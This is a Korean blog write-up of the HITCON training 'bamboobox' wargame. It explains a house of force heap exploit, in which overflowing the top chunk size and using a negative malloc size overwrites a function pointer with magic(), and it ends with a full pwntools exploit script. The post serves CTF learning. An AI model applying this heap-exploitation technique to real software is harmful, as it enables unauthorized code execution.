hint : house of force
예전에도 house of force를 푼 적이 있는데 이놈의 기억력이... 그래서 문서를 참고해서 다시 풀었다.
다시 한번 정리하자면 house of force는
1. 공격자가 topchunk를 조작할 수 있어여 함
2. 메모리 할당할 때 크기를 자유롭게 조절할 수 있어야 함
3. 할당된 영역에 원하는 값을 입력할 수 있어야 함
이 세 가지 조건을 만족하면 house of force로 익스할 수 있다.
나의 익스 방법은
256바이트의 메모리 할당을 받은 후 topchunk를 0xffffffff로 오버플로우 시켰다.
그런 다음 내가 원하는 곳에 메모리를 할당 받기 위해 타겟의 위치를 계산해야 한다.
house of force의 문서를 보면 target address - 0x10 - topchunk의 주소를 한 값을 할당할 값으로 집어넣는데 이 문제에선 topchunk를 릭할 수 없어서 처음엔 좀 당황했다.
근데 이 문제는 magic()이라는 익스용 함수가 있고 아래는 main()함수인데 goodbye_message라는 함수를 포인터 배열에 집어넣었고 이 바이너리를 종료할 때 실행하는 부분이 있는데 여기를 공략하면 된다.
goodbye_message가 들어가는 포인터 배열은 바이너리에서 처음으로 16바이트가 malloc()되므로 add_item()한 거 보다 32바이트 전에 위치 할 것이다.
0x603010에 hello_message와 goodbye_message가 있다.
즉 malloc()할 때 적절한 값을 줘서 0x603000에 메모리가 할당되도록 하면 된다.
즉 여기선 topchunk의 address는 몰라도 topchunk와의 거리는 계산할 수 있으므로 거리를 계산한 후 malloc()해주면 된다.
topchunk - 0x603000 = 0x603138 - 0x603000 = 312
즉 malloc(-312)를 해주면 main_arena.top에 0x603000가 들어간다.
그리고 main_arena.top을 확인해보면 정말 0x603000이 들어간 것을 볼 수 있다.
이제 새로 malloc()을 해주면 0x603000에 할당되었으니 이제 여기에 magic()함수의 주소를 입력해주고 5번 메뉴를 실행하면 익스가 가능하다.
from pwn import * def add_item(size, item): r.sendline("2") r.sendline(str(size)) r.sendline(str(item)) def change_item(idx, size, item): r.sendline("3") r.sendline(str(idx)) r.sendline(str(size)) r.sendline(item) if __name__ == "__main__": r = process("./bamboobox") elf = ELF("./bamboobox") magic_gadget = 0x400d49 payload = "A"*264 payload += p64(0xffffffffffffffff) add_item(256, "AAAAAAAA") change_item(0, 272, payload) #pause() add_item(-312, "dddd") add_item(16, p64(magic_gadget)*2) r.interactive()
'Wargame > Hitcon training' 카테고리의 다른 글
HITCON training lab14 (unsorted bin attack) (0) | 2018.11.01 |
---|---|
HITCON training lab10 (0) | 2018.10.25 |
HITCON training lab6 (0) | 2018.10.22 |
HITCON training lab4 (0) | 2018.10.18 |
HITCON training lab5 (0) | 2018.10.16 |